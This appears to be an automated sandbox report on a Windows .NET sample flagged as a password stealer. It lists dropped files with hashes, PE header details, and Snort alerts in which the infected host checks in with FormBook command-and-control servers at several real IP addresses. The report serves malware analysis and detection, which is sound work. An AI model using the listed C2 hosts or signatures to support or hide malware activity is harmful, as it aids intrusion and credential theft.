Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 10.0.0.3449"/>.. <meta name="DontCopyToDevice" content="TRUE"/>.. <title>All Pictures</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{CC823400-A8E4-4081-B073-D3B6D952FE69}" name="Pictures in my library">.. </sourceFilter>.. </querySet>.. </smartPlaylist>.. </seq>.. </body>..</smil>..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\000093A4\12_All_Video.wpl

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.232889887576815
Encrypted:	false
SSDEEP:	12:x2G5/KDxwegG2dLx5EkqfxI+/RWNVz3pnDCAAvXnefVDKrqCjH1LbCjqCjWBX2W0:xtwxlowG/LJXAvXedKeMCGdKv
MD5:	372D0BEEBEA5460409A6A1C53AC52A18
SHA1:	1B5A925E00F9A4CC3A18FEB8F74A2E39EF11EEB6
SHA-256:	5B8B62B35E5DD8A46CCCCAF3FC3743BE9E0965D24CBCD20DA2681065EEB37EF3
SHA-512:	EFB412E3A17F4EAB84FB9F99B9E420D18E23610A9A66BCD7298C3BA68FD24ABE0C1F2E58FAA411E059788D34F4CEDE45F9E25C6578D13FAEFB8EE79ACD50F2E0
Malicious:	false
Preview:	<?wpl version="1.0"?>..<smil>.. <head>.. <meta name="Generator" content="Microsoft Windows Media Player -- 11.0.5428.4943"/>.. <meta name="DontCopyToDevice" content="TRUE"/>.. <title>All Video</title>.. </head>.. <body>.. <seq>.. <smartPlaylist version="1.0.0.0">.. <querySet>.. <sourceFilter id="{B2D9BDDC-8E49-444B-9BA4-193ABF9C7870}" name="Video in my library">.. <fragment name="Secondary Media Type">.. <argument name="condition">Is Not</argument>.. <argument name="value">Video: TV show</argument>.. </fragment>.. <fragment name="Sort by">.. <argument name="value">Recording Date</argument>.. <argument name="condition">Descending</argument>.. </fragment>.. </sourceFilter>.. </

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD

Process:	C:\Windows\System32\unregmp2.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	498
Entropy (8bit):	5.103913616294899
Encrypted:	false
SSDEEP:	12:TMbhJpIO1mcROtW/yF0T8YA+it/0zsFE/TYEGs/4w:qhJ+CTRSnF1wlwFUY6
MD5:	90BE2701C8112BEBC6BD58A7DE19846E
SHA1:	A95BE407036982392E2E684FB9FF6602ECAD6F1E
SHA-256:	644FBCDC20086E16D57F31C5BAD98BE68D02B1C061938D2F5F91CBE88C871FBF
SHA-512:	D618B473B68B48D746C912AC5FC06C73B047BD35A44A6EFC7A859FE1162D68015CF69DA41A5DB504DCBC4928E360C095B32A3B7792FCC6A38072E1EBD12E7CBE
Malicious:	false
Preview:	<?xml version="1.0" standalone="yes"?>..<!DOCTYPE document [..<!ELEMENT document (node)>.. <!ATTLIST document WMSNameSpaceVersion CDATA "2.0">....<!ELEMENT node (node)>.. <!ATTLIST node name CDATA #REQUIRED>.. <!ATTLIST node opcode ( create \| remove \| setval \| clearval \| rename \| movebefore ) #REQUIRED>.. <!ATTLIST node secure ( true \| false ) #IMPLIED>.. <!ATTLIST node type ( string \| boolean \| int32 \| binary \| int64 ) #IMPLIED>.. <!ATTLIST node value CDATA #IMPLIED>..]>..

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

Process:	C:\Windows\System32\unregmp2.exe
File Type:	exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10191
Entropy (8bit):	4.792342140217129
Encrypted:	false
SSDEEP:	96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
MD5:	7050D5AE8ACFBE560FA11073FEF8185D
SHA1:	5BC38E77FF06785FE0AEC5A345C4CCD15752560E
SHA-256:	CB87767C4A384C24E4A0F88455F59101B1AE7B4FB8DE8A5ADB4136C5F7EE545B
SHA-512:	A7A295AC8921BB3DDE58D4BCDE9372ED59DEF61D4B7699057274960FA8C1D1A1DAFF834A93F7A0698E9E5C16DB43AF05E9FD2D6D7C9232F7D26FFCFF5FC5900B
Malicious:	false
Preview:	.<document WMSNameSpaceVersion="2.0">.... <node name="Control Protocol" opcode="create" >.. <node name="Object Store" opcode="create" >.. <node name="RTSP" opcode="create" >.. <node name="CLSID" opcode="create" type="string" value="{308786f0-8b15-11d2-b25f-006097d2e41e}" />.. <node name="Enabled" opcode="create" type="int32" value="0x1" />.. <node name="Properties" opcode="create" >.. <node name="Protocol" opcode="create" type="string" value="RTSP,RTSPA,RTSPT,RTSPU,RTSPM" />.. </node> Properties -->.... </node> RTSP -->.... <node name="Sessionless Multicast" opcode="create" >.. <node name="CLSID" opcode="create" type="string" value="{f9377800-f38d-11d2-b26c-006097d2e41e}" />.. <node name="Enabled" opcode="create" type="int32" value="0x1" />.. <node name="Properties" opcode="create" >.. <node name="Protocol" opcode="create" type="string" value="MCAST,RTP" />.. </node> Properties

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak

Process:	C:\Windows\System32\unregmp2.exe
File Type:	exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10191
Entropy (8bit):	4.792342140217129
Encrypted:	false
SSDEEP:	96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
MD5:	7050D5AE8ACFBE560FA11073FEF8185D
SHA1:	5BC38E77FF06785FE0AEC5A345C4CCD15752560E
SHA-256:	CB87767C4A384C24E4A0F88455F59101B1AE7B4FB8DE8A5ADB4136C5F7EE545B
SHA-512:	A7A295AC8921BB3DDE58D4BCDE9372ED59DEF61D4B7699057274960FA8C1D1A1DAFF834A93F7A0698E9E5C16DB43AF05E9FD2D6D7C9232F7D26FFCFF5FC5900B
Malicious:	false
Preview:	.<document WMSNameSpaceVersion="2.0">.... <node name="Control Protocol" opcode="create" >.. <node name="Object Store" opcode="create" >.. <node name="RTSP" opcode="create" >.. <node name="CLSID" opcode="create" type="string" value="{308786f0-8b15-11d2-b25f-006097d2e41e}" />.. <node name="Enabled" opcode="create" type="int32" value="0x1" />.. <node name="Properties" opcode="create" >.. <node name="Protocol" opcode="create" type="string" value="RTSP,RTSPA,RTSPT,RTSPU,RTSPM" />.. </node> Properties -->.... </node> RTSP -->.... <node name="Sessionless Multicast" opcode="create" >.. <node name="CLSID" opcode="create" type="string" value="{f9377800-f38d-11d2-b26c-006097d2e41e}" />.. <node name="Enabled" opcode="create" type="int32" value="0x1" />.. <node name="Properties" opcode="create" >.. <node name="Protocol" opcode="create" type="string" value="MCAST,RTP" />.. </node> Properties

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNSD.XML

Process:	C:\Windows\System32\unregmp2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.66869469064966
Encrypted:	false
SSDEEP:	3:sLRaE92JWyhHX9ovy4dduRun:sLzTyRXKvndI0
MD5:	A9B5DA9AEC61657B32393D96217165F0
SHA1:	80B5C577155ACD269B450D70F6B2CBED693EDF49
SHA-256:	9F4611369CF65B33D886489B2486FCA7B1E83E0DC998D35B15B3AA4C8478A28D
SHA-512:	0B73B232C03FFD5CE526A1EDE481A57C753D15D9EE39D4247ABFA52819B59FA676C63E30825DAF233E3139038C353DF84D652C4CE2CB71A706DDDBDFE0C70335
Malicious:	false
Preview:	<document WMSNameSpaceVersion="2.0">....</document>..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulRjFllp:NllU
MD5:	7B390667B7AD392C3A7ECD95310E0D68
SHA1:	F7ED92E360DACA5B2BB3152AFB8A26DD5A408706
SHA-256:	E233F71BD3E7F3B34DC94F8F9DDB533F59E07BE7AEFA021541DF0160436E1C0D
SHA-512:	0131C5BD611E47AF843A354F9AD83CAE0AA4A64B0FB723BB485B9FBDBF409A98BB5248336BCDE84FF72E3EB44D2EC10C30133767CD0DE32C77757C0EE75DCCC2
Malicious:	false
Preview:	@...e.................................@. ............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_az4vgb33.mej.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ejalo0vz.3ve.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hechhxji.0w3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqrdxq0w.wkj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\c23yo28O4

Process:	C:\Windows\SysWOW64\sc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wmsetup.log

Process:	C:\Windows\SysWOW64\unregmp2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1301
Entropy (8bit):	5.109506535588655
Encrypted:	false
SSDEEP:	24:ttoMlRs2WeHx1hZFYwzYAx0VoMARs2WeHx1hZFXx0VY1YRs2WeHx1H9sI9kYIVYc:4MrVR16wvx0KMIVR1Zx0G1AVR1d+YIGc
MD5:	03050AD13AFAF3E0C64BEF47FAF9A5FA
SHA1:	7A519E489EE8C735784E1BA77F15AF6578D6B9DB
SHA-256:	16AD883E5ACAEC348F9CD7E435920E85A4DBE0832357E185C73F8DFD15004A8B
SHA-512:	519E2C7B313A62C675779DF1852400F61DA2467DE5DA4ECAFB35949B8A2EED1ED2BE4D11DC17DD3321587676121ED92815F7E6923DB9C030AD9A480B14E149A5
Malicious:	false
Preview:	..[WMC Logging begun at 2023/10/05 - 07:17:58. Logging at level: '4'. OS is NT. OSVer is 10.0.19045.0.1889. System Lang is 2057. Prev version system is 12.0.19041.1266. Setup version 12.0.19041.1.]..Checking for Playlist Obfuscation...Playlist location not obfuscated. Doing Obfuscation now...Obfuscation for Playlist location succeeded...Current command line: '/FirstLogon'.....[WMC Logging begun at 2023/10/05 - 07:17:59. Logging at level: '4'. OS is NT. OSVer is 10.0.19045.0.1889. System Lang is 2057. Prev version system is 12.0.19041.1266. Setup version 12.0.19041.1.]..Checking for Playlist Obfuscation...Playlist location already obfuscated...Current command line: '/FirstLogon'.....[*WMC Logging begun at 2024/07/03 - 12:52:29. Logging at level: '4'. OS is NT. OSVer is 10.0.19045.0.1889. System Lang is 2057. Prev version system is 12.0.19041.1266. Setup version 12.0.19041.1.]..ERROR: Caller attempted to run 32bit unregmp2 on 64bit Windows. Call being switched to correct unre

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74d7f43c1561fc1e.customDestinations-ms (copy)

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	Matlab v4 mat-file (little endian) \253\373\277\272\002, sparse, rows 2, columns 0, imaginary
Category:	dropped
Size (bytes):	1868
Entropy (8bit):	3.318391119132836
Encrypted:	false
SSDEEP:	24:u92/EndOEJLMyUwUyAJyMSHcGYEXGhyQ3+fe4IUeLXRhnm+:Q2cndO0YpwURJyR/YEeyQ3CIhn1
MD5:	625B3C470881CEE9F5AA662AC6B67DF1
SHA1:	FA9ECB2122AE5C9D56B6A296DFDC06E36BCCBD2E
SHA-256:	C27FDCE8D8E37374798CF1CB16C1FB740F97E0DFE9D53173C6F65242E5256F23
SHA-512:	80E0ABFEC62C098126E001648A714AD576258725EF24A3214C9B63985E0A348A0228B2F4B221F6E1C1CA018AA4781255211BFE4DEB26854788D40E85BAFBA32C
Malicious:	false
Preview:	...............................................FL..................F.@.. ......$0...W..fi......$0................................P.O. .:i.....+00.../C:\.....................1......Xz...PROGRA~2.........O.I.Xz.....................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....r.1.....(Um...WINDOW~4..Z......O"v.X......".....................K...W.i.n.d.o.w.s. .M.e.d.i.a. .P.l.a.y.e.r.....f.2.....(U.. .wmplayer.exe..J......(U...X..................x.........[h..w.m.p.l.a.y.e.r...e.x.e.......g...............-.......f............7k......C:\Program Files (x86)\Windows Media Player\wmplayer.exe..=./.p.r.e.f.e.t.c.h.:.1.1. ./.Q.u.e.r.y.:.3.;.3.;.6.;.P.l.a.y. .a.l.l. .m.u.s.i.c.;.2.9.5.1.8.;.-.1.;.;.;.;.0.;.;.;.;.2.;.;...C.:.\.W.i.n.d.o.w.s.\.S.Y.S.T.E.M.3.2.\.w.m.p.l.o.c...d.l.l.........%SystemRoot%\SYSTEM32\wmploc.dll..................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TODI86YM2ECAGF8F0K0X.temp

Process:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
File Type:	Matlab v4 mat-file (little endian) \253\373\277\272\002, sparse, rows 2, columns 0, imaginary
Category:	dropped
Size (bytes):	1868
Entropy (8bit):	3.318391119132836
Encrypted:	false
SSDEEP:	24:u92/EndOEJLMyUwUyAJyMSHcGYEXGhyQ3+fe4IUeLXRhnm+:Q2cndO0YpwURJyR/YEeyQ3CIhn1
MD5:	625B3C470881CEE9F5AA662AC6B67DF1
SHA1:	FA9ECB2122AE5C9D56B6A296DFDC06E36BCCBD2E
SHA-256:	C27FDCE8D8E37374798CF1CB16C1FB740F97E0DFE9D53173C6F65242E5256F23
SHA-512:	80E0ABFEC62C098126E001648A714AD576258725EF24A3214C9B63985E0A348A0228B2F4B221F6E1C1CA018AA4781255211BFE4DEB26854788D40E85BAFBA32C
Malicious:	false
Preview:	...............................................FL..................F.@.. ......$0...W..fi......$0................................P.O. .:i.....+00.../C:\.....................1......Xz...PROGRA~2.........O.I.Xz.....................V.........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....r.1.....(Um...WINDOW~4..Z......O"v.X......".....................K...W.i.n.d.o.w.s. .M.e.d.i.a. .P.l.a.y.e.r.....f.2.....(U.. .wmplayer.exe..J......(U...X..................x.........[h..w.m.p.l.a.y.e.r...e.x.e.......g...............-.......f............7k......C:\Program Files (x86)\Windows Media Player\wmplayer.exe..=./.p.r.e.f.e.t.c.h.:.1.1. ./.Q.u.e.r.y.:.3.;.3.;.6.;.P.l.a.y. .a.l.l. .m.u.s.i.c.;.2.9.5.1.8.;.-.1.;.;.;.;.0.;.;.;.;.2.;.;...C.:.\.W.i.n.d.o.w.s.\.S.Y.S.T.E.M.3.2.\.w.m.p.l.o.c...d.l.l.........%SystemRoot%\SYSTEM32\wmploc.dll..................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469355824539876
Encrypted:	false
SSDEEP:	6144:UzZfpi6ceLPx9skLmb0fTZWSP3aJG8nAgeiJRMMhA2zX4WABluuN1jDH5S:aZHtTZWOKnMM6bFpvj4
MD5:	A745BBECD0B770822EC76CDA982B72B2
SHA1:	3451ED80B0B596321888087262D7836D4088F05F
SHA-256:	1E4AFF0C37524676CF5ACC87A0B1A5C0F6548C24D3268EA1543E17F82D7E4DCC
SHA-512:	5F5629B4814903180D3E70F065D38762B9D4A629284838BF54225F154E765415488F756FD69B6A98008C92908421EDEC9FB614F02D59282777F3AFBC2CFDC940
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..GQi...............................................................................................................................................................................................................................................................................................................................................a.Pe........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.040839027931189
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe
File size:	2'928'646 bytes
MD5:	0d866e84b1b42f3b924d671db5b3b40e
SHA1:	8890d49ef3267c6c6697c0e56b85ce118e0f7eef
SHA256:	74f7be7a0e6e10f0209d700876ab03eb9d37cdcab79c0def5d536eb8accbf49f
SHA512:	15ede3729834e4f39d770301f59cf5ff3778a801b03cd9b4bcfcabf2175440aa54d24e39028fbe4ff35f7954115790ade310318ec6e03dc97b0a14281fe2ad2a
SSDEEP:	12288:oR2wucz+/euGRF7y7MrSE6blzZ5JpdxqLHqgyUbeLXp6ZzwsRYj:ojzBuCKx7FZ5JpdxqLHqYZz/RYj
TLSH:	F2D5AF91BA078C97FC1212B1C8EAB9F001FD5D5B70F4610FEF657D1266B227E10A693A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...RJ.f.........."...0.J.... ........... ....@...... ................................-...`................................

File Icon


Icon Hash:	1c188bc89a2c567b

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66854A52 [Wed Jul 3 12:55:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x41e8a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa1ae	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x824a	0x8400	484a8a7d4a7734f4b979f98fa0e1c448	False	0.6228693181818182	data	6.412680721843412	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x41e8a	0x42000	8e1b805faf0f64b3bfda47f00afb0c72	False	0.16034490411931818	data	4.272099652497228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc15c	0x41428	Device independent bitmap graphic, 253 x 512 x 32, image size 259072, resolution 3779 x 3779 px/m			0.15837772723191573
RT_GROUP_ICON	0x4d584	0x14	data			1.2
RT_VERSION	0x4d598	0x384	data			0.48
RT_VERSION	0x4d91c	0x384	data	English	United States	0.4777777777777778
RT_MANIFEST	0x4dca0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-18:41:52.311175	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59424	80	192.168.2.6	152.32.156.214
07/03/24-18:41:19.435884	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59417	80	192.168.2.6	81.88.57.70
07/03/24-18:42:13.805576	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59432	80	192.168.2.6	64.190.62.22
07/03/24-18:43:25.886197	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59451	80	192.168.2.6	47.239.13.172
07/03/24-18:43:37.573012	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59454	80	192.168.2.6	47.239.13.172
07/03/24-18:40:48.928266	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59407	80	192.168.2.6	81.88.48.71
07/03/24-18:42:55.058990	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59441	80	192.168.2.6	142.250.185.211
07/03/24-18:43:51.413894	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59458	80	192.168.2.6	46.235.40.27
07/03/24-18:41:32.918372	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59421	80	192.168.2.6	203.161.49.220
07/03/24-18:42:06.211099	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59429	80	192.168.2.6	64.190.62.22
07/03/24-18:42:27.326971	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59436	80	192.168.2.6	23.105.172.12
07/03/24-18:43:45.249021	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59457	80	192.168.2.6	47.239.13.172
07/03/24-18:42:08.749026	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59430	80	192.168.2.6	64.190.62.22
07/03/24-18:43:30.949272	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59453	80	192.168.2.6	47.239.13.172
07/03/24-18:42:41.373375	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59437	80	192.168.2.6	185.151.30.199
07/03/24-18:40:56.597601	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59410	80	192.168.2.6	81.88.48.71
07/03/24-18:42:19.719004	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59433	80	192.168.2.6	23.105.172.12
07/03/24-18:43:59.021042	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59461	80	192.168.2.6	46.235.40.27
07/03/24-18:41:37.979242	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59423	80	192.168.2.6	203.161.49.220
07/03/24-18:41:54.857034	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59426	80	192.168.2.6	152.32.156.214
07/03/24-18:42:57.593154	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59442	80	192.168.2.6	142.250.185.211
07/03/24-18:44:08.627000	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59462	80	192.168.2.6	89.31.143.90
07/03/24-18:41:30.383840	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59420	80	192.168.2.6	203.161.49.220
07/03/24-18:42:22.262975	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59434	80	192.168.2.6	23.105.172.12
07/03/24-18:41:06.087866	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59412	80	192.168.2.6	156.251.142.105
07/03/24-18:43:02.663109	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59445	80	192.168.2.6	142.250.185.211
07/03/24-18:43:11.697394	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59447	80	192.168.2.6	47.239.13.172
07/03/24-18:41:59.948522	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59428	80	192.168.2.6	152.32.156.214
07/03/24-18:42:49.010973	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59440	80	192.168.2.6	185.151.30.199
07/03/24-18:43:23.357004	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59450	80	192.168.2.6	47.239.13.172
07/03/24-18:41:24.528998	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59419	80	192.168.2.6	81.88.57.70
07/03/24-18:40:33.146485	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59401	80	192.168.2.6	89.31.143.90
07/03/24-18:42:43.900906	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59438	80	192.168.2.6	185.151.30.199
07/03/24-18:41:16.892814	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59416	80	192.168.2.6	81.88.57.70
